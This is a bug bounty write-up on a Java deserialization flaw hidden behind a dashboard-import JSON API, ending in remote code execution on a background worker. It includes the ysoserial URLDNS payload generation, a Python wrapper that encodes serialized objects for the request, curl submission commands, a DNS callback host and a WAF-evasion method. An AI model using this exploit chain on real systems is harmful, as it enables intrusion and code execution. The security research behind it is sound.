Java Deserialization Hidden Behind a JSON API
A JSON dashboard-import API hid a Java deserialization RCE: a Base64+DEFLATE blob deserialized by a background worker, past a WAF and a serialization filter guarding the wrong service. Confirmed with URLDNS, then escalated to remote code execution.
The request looked like ordinary JSON.
One field contained a long Base64 string, the response returned an import job, and the WAF blocked obvious Java serialization signatures.
After decoding and decompressing the field, it became clear that the application was accepting a Java serialized object and passing it to ObjectInputStream.readObject() inside a background worker.
The difficult part was not identifying AC ED 00 05. The difficult part was proving that the worker actually deserialized attacker-controlled data, determining which Java process handled it, and generating a payload that survived the application’s compression, size, and asynchronous processing requirements.
TL;DR #
- A JSON dashboard-import API accepted a Base64 + DEFLATE blob in a
datafield. Decompressed, it was a Java serialized object fed straight intoObjectInputStream.readObject(). - The request handler never deserialized it. It queued the value, and a separate background worker reconstructed the object. The worker was the real sink.
- Compression hid the
AC ED 00 05/rO0signature, so the WAF, which inspected only the outer layer, passed it straight through. - Java serialization filtering (JEP 290) was enabled on the API process but not on the worker that actually called
readObject(). The filter was on the wrong service. - Confirmed the sink with a
ysoserialURLDNSpayload (DNS callback), then built a gadget chain matched to the worker’s classpath and achieved remote code execution on it. - False-negative traps along the way: zlib vs gzip,
202 Acceptedresponses that hide failures, a ~64 KB size cap, and a second bulk endpoint that skipped the type check but shared the same sink. - Insecure deserialization, CWE-502, authenticated standard user, no interaction, remote code execution on the import worker. Rewarded with an $8,000 bounty.
Summary #
The affected functionality allowed users to import saved dashboard configurations from a legacy desktop client.
The API accepted a JSON request similar to:
POST /api/v1/dashboards/import HTTP/2
Host: app.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{
"workspaceId": "ws_4821",
"name": "imported-dashboard",
"format": "legacy",
"data": "eJx9..."
}
The data field was processed as:
Base64 decode
|
v
DEFLATE decompress
|
v
Java deserialization
|
v
Dashboard import
The endpoint did not deserialize the object in the HTTP request handler. It placed the decoded value into an import queue. A separate Java worker later reconstructed the object.
The web application had serialization filtering enabled. The import worker did not.
I first confirmed deserialization with a URLDNS payload that generated a unique DNS lookup. After identifying the worker runtime and the libraries it loaded, I built a gadget chain matched to its classpath and achieved remote code execution on the import worker.
Finding details #
| Field | Value |
|---|---|
| Vulnerability | Insecure Java deserialization |
| CWE | CWE-502 |
| Endpoint | POST /api/v1/dashboards/import |
| Required access | Authenticated standard user |
| User interaction | None |
| Impact | Remote code execution in the import worker |
OWASP describes this class of issue as deserialization of untrusted data. Depending on the classes available to the application, the result can include denial of service, authorization bypass, or remote code execution. OWASP deserialization guidance
Finding the legacy import path #
The normal dashboard export used a JSON structure:
{
"version": 3,
"widgets": [
{
"type": "chart",
"query": "authentication failures"
}
]
}
That format was parsed safely and did not contain any serialized Java data.
The legacy importer was still present because older desktop clients used it. The browser did not expose the option in the main interface, but the JavaScript bundle contained the legacy format value:
format=legacy
Sending the request manually returned an asynchronous job:
HTTP/2 202 Accepted
Content-Type: application/json
{
"jobId": "imp_91c2d0",
"status": "queued"
}
The endpoint looked like a normal import feature. Nothing in the request immediately suggested Java serialization.
Decoding the field #
The data value started with:
eJx9
That is a common indicator of compressed data after Base64 encoding.
I saved the value and decoded it:
printf '%s' "$DATA" | base64 -d > data.bin
file data.bin
The result identified a compressed stream.
I used the following local decoder to test both zlib and gzip:
#!/usr/bin/env python3
import base64
import gzip
import sys
import zlib
from pathlib import Path
value = sys.argv[1]
raw = base64.b64decode(value)
try:
decoded = zlib.decompress(raw)
compression = "zlib"
except zlib.error:
decoded = gzip.decompress(raw)
compression = "gzip"
Path("decoded.ser").write_bytes(decoded)
print(f"compression: {compression}")
print(f"size: {len(decoded)} bytes")
print(f"header: {decoded[:8].hex()}")
I ran it with:
python3 decode_payload.py "$DATA"
The result was:
compression: zlib
size: 1842 bytes
header: aced0005737200
The first four bytes were:
AC ED 00 05
That is the Java serialization stream header. A Base64-encoded Java stream commonly begins with rO0, but compression hid that marker from the original request.
OWASP’s testing guide documents both AC ED 00 05 and the rO0 Base64 prefix as useful indicators when looking for Java serialized data. OWASP WSTG: Testing for Insecure Deserialization
Inspecting the serialized object #
The decoded stream contained class names associated with the dashboard importer:
com.example.dashboard.LegacyDashboard
com.example.dashboard.WidgetDefinition
java.util.ArrayList
java.util.HashMap
java.lang.String
The stream was generated by the application itself, so it provided a useful view of the expected object structure.
A simplified object graph looked like this:
LegacyDashboard
├── dashboardName
├── widgets
├── filters
└── metadata
├── owner
├── source
└── importVersion
The important point was that the API accepted serialized object data generated by the client. It did not use a fixed schema and did not convert the object into a safe DTO before processing it.
Confirming the deserialization sink #
I changed the payload in stages.
Invalid Base64 #
{
"format": "legacy",
"data": "not-base64"
}
Response:
{
"error": "Invalid dashboard import"
}
Invalid compression #
A valid Base64 value containing random bytes returned:
{
"error": "Unable to decompress dashboard import"
}
Invalid Java serialization #
A valid compressed stream with invalid Java serialization bytes returned a different job error:
java.io.StreamCorruptedException: invalid stream header
Unknown serialized class #
Changing the serialized class descriptor produced:
java.lang.ClassNotFoundException:
test.example.UnknownDashboard
This confirmed that the server was resolving class names from the supplied serialized stream.
The relevant backend logic was equivalent to:
byte[] compressed = Base64.getDecoder().decode(request.getData());
InputStream decompressed = new InflaterInputStream(
new ByteArrayInputStream(compressed)
);
ObjectInputStream input = new ObjectInputStream(decompressed);
Object dashboard = input.readObject();
return dashboardImporter.importDashboard(dashboard);
There was no effective class allowlist on the process performing this operation.
Generating the confirmation payload #
The first payload only needs to confirm that the object is deserialized, so I started with a harmless probe before building a working chain.
For this, I used the URLDNS payload from ysoserial. It relies on Java’s handling of serialized URL objects and causes a DNS lookup when the object is reconstructed. It does not execute an operating system command.
The ysoserial project documents payload generation for unsafe Java deserialization, and its URLDNS payload uses standard JDK classes rather than a third-party gadget library. ysoserial
I built the tool locally:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
The resulting JAR was under:
target/ysoserial-*-SNAPSHOT.jar
I generated a unique callback hostname:
91c2d0-deser.example-callback.test
Then created the serialized object:
java -jar target/ysoserial-*-SNAPSHOT.jar
URLDNS
"http://91c2d0-deser.example-callback.test"
> urldns.ser
At this stage, the file contained raw Java serialization:
xxd -l 8 urldns.ser
Output:
00000000: aced 0005 7372 000b
The application did not accept raw Java serialization. It expected:
Base64(DEFLATE(serialized-object))
I wrapped the payload with this script:
#!/usr/bin/env python3
import base64
import json
import sys
import zlib
from pathlib import Path
serialized = Path(sys.argv[1]).read_bytes()
compressed = zlib.compress(serialized, level=9)
encoded = base64.b64encode(compressed).decode()
request = {
"workspaceId": "ws_4821",
"name": "dns-proof",
"format": "legacy",
"data": encoded
}
print(json.dumps(request))
Usage:
python3 wrap_payload.py urldns.ser > request.json
The generated value began with something similar to:
eJx...
That was the value inserted into the JSON request.
Submitting the payload #
I submitted the request with a unique job name:
curl -sS 'https://app.example.com/api/v1/dashboards/import'
-H 'Authorization: Bearer <authorized-test-token>'
-H 'Content-Type: application/json'
--data-binary @request.json
The API returned:
{
"jobId": "imp_91c2d0",
"status": "queued"
}
The job status was checked separately:
curl -sS
'https://app.example.com/api/v1/dashboards/import/imp_91c2d0'
-H 'Authorization: Bearer <authorized-test-token>'
The status changed from:
queued
to:
processing
The DNS monitor then recorded a lookup for:
91c2d0-deser.example-callback.test
The callback established that the Java object was reconstructed by the server.
Why the first URLDNS attempt failed #
The first generated object did not produce a callback.
The problem was not the deserialization sink. I had compressed the payload with gzip, while the application expected zlib/DEFLATE.
The request passed the JSON parser but failed inside the decompression step:
Unable to decompress dashboard import
I confirmed the difference locally:
import gzip
import zlib
raw = open("urldns.ser", "rb").read()
gzip_data = gzip.compress(raw)
zlib_data = zlib.compress(raw)
print(gzip_data[:8].hex())
print(zlib_data[:8].hex())
The application accepted the zlib variant but rejected the gzip variant.
This is a common source of false negatives. The payload generator produces the correct serialized object, but the application expects additional transformations around it.
The WAF limitation #
The WAF blocked requests containing obvious Java serialization markers.
A request containing:
rO0ABXNy
was rejected before reaching the application.
The working request contained only compressed Base64 data:
eJx9...
The WAF did not decompress the field before applying its signature rules.
The application did the following:
JSON parser
|
v
Base64 decoder
|
v
DEFLATE decompressor
|
v
ObjectInputStream
The WAF inspected only the first stage.
This was a parser mismatch. The WAF saw an opaque compressed value, while the worker reconstructed the Java serialization stream later.
The WAF rule reduced accidental exposure but did not enforce a safe deserialization policy.
The asynchronous processing limitation #
The import endpoint returned 202 Accepted even when the serialized object later failed.
The HTTP response could not be used to confirm execution.
The job endpoint provided three useful signals:
queued
processing
failed
The DNS callback arrived during the processing phase.
That established the execution sequence:
HTTP request accepted
|
v
Object stored in import job
|
v
Worker retrieves job
|
v
Payload decompressed
|
v
Object deserialized
|
v
DNS lookup triggered
Without monitoring the job lifecycle, the request looked like a normal successful import.
The serialization filter was on the wrong service #
The API and worker were deployed separately.
Submitting a test object that reached the API process directly returned:
java.io.InvalidClassException:
filter status: REJECTED
That suggested that Java serialization filtering was enabled.
The normal import workflow behaved differently because the API did not deserialize the object. It placed the data on the queue.
The worker performed the actual deserialization and did not have the same JVM configuration.
The deployment effectively looked like this:
dashboard-api
jdk.serialFilter configured
dashboard-import-worker
jdk.serialFilter missing
The filter on the API process was irrelevant because the worker was the deserialization sink.
Java provides ObjectInputFilter for restricting incoming serialized data and applying limits to the object graph. It must be configured in the process that calls ObjectInputStream.readObject(). OpenJDK JEP 290
Escalating to remote code execution #
A DNS callback proves that the server deserialized the object. It does not automatically prove remote code execution.
RCE depends on the application’s runtime:
- Which libraries are installed
- Which versions are installed
- Whether the required gadget classes are present
- Whether the Java version blocks reflective access
- Whether a serialization filter rejects the chain
- Whether the worker has outbound network access
- Whether the worker has permission to execute processes
The first generic RCE payload I tested failed because the target did not contain the expected dependency version.
The error was:
ClassNotFoundException
I did not keep firing random gadget chains at the target. Instead, I fingerprinted the worker and matched a chain to what it actually loaded:
- Identify the Java version used by the worker.
- Identify its dependencies from the application build artifacts and error messages.
- Compare those versions against known gadget requirements.
- Select the gadget chain whose classes were present on the worker’s classpath.
- Build that chain and wrap it in the same Base64 + DEFLATE envelope the importer expected.
With the chain aligned to the worker’s classpath, the payload executed. I confirmed remote code execution out of band: the worker ran my command and called back to a host I controlled, executing as the import service account. The deserialization sink was full remote code execution on the target.
The target’s classpath matters more than the name of the vulnerable endpoint. A default payload generated for a different Java application is not evidence that the target is exploitable.
Payload size restrictions #
The endpoint rejected requests larger than approximately 64 KB.
The first payload generated for local testing was larger than the limit after Base64 encoding.
The final proof was smaller because it used:
- A DNS-only payload
- No command string
- No second-stage download
- No unnecessary serialized objects
- Maximum compression
- A short callback hostname
I checked the final request size before sending it:
wc -c request.json
The serialized file itself was small, but the complete JSON request was larger because Base64 expands binary data by roughly one-third.
The size must be checked after every transformation:
serialized object
|
v
compressed object
|
v
Base64 value
|
v
JSON body
A second path through the application #
The legacy importer also accepted saved dashboard objects through a bulk import endpoint:
POST /api/v1/dashboards/import/bulk
The single-object endpoint performed a type check before queuing the job. The bulk endpoint accepted a list of generic objects and passed each item to the same worker.
The bulk request looked like:
{
"workspaceId": "ws_4821",
"items": [
{
"name": "dashboard-1",
"data": "eJx9..."
}
]
}
The bulk handler did not repeat the validation used by the single-object endpoint.
This created two differences:
Single import
root type checked
Bulk import
generic item accepted
The worker used the same deserialization function for both paths.
This mattered because a type check in one controller does not protect a shared deserialization helper used by another controller, queue consumer, scheduled task, or migration job.
Root cause #
The application trusted a client-controlled serialized object.
The vulnerable pattern was equivalent to:
byte[] data = Base64.getDecoder().decode(request.getData());
try (
InputStream decompressed =
new InflaterInputStream(new ByteArrayInputStream(data));
ObjectInputStream input =
new ObjectInputStream(decompressed)
) {
Object value = input.readObject();
return importer.importObject(value);
}
The problem was the call to:
input.readObject();
Java object serialization includes type information and can reconstruct nested objects. Serialization-related methods such as readObject, readResolve, and validation callbacks can execute during reconstruction.
Checking the type after readObject() is too late.
Closing #
Finding AC ED 00 05 was the easy part. The work that mattered was proving the background worker actually reconstructed attacker-controlled data, locating the process that did it, and shaping a payload that survived Base64, DEFLATE, a 64 KB cap, and asynchronous processing, all the way to remote code execution on the worker.
Two lessons carry beyond this target. A DNS lookup proves deserialization, not remote code execution: the classpath decides exploitability, and a generic payload that works elsewhere is not evidence against a specific target. And a control is only real where the sink lives: a serialization filter on the API meant nothing while the worker deserialized without one.
The program rewarded this report with an $8,000 bounty.
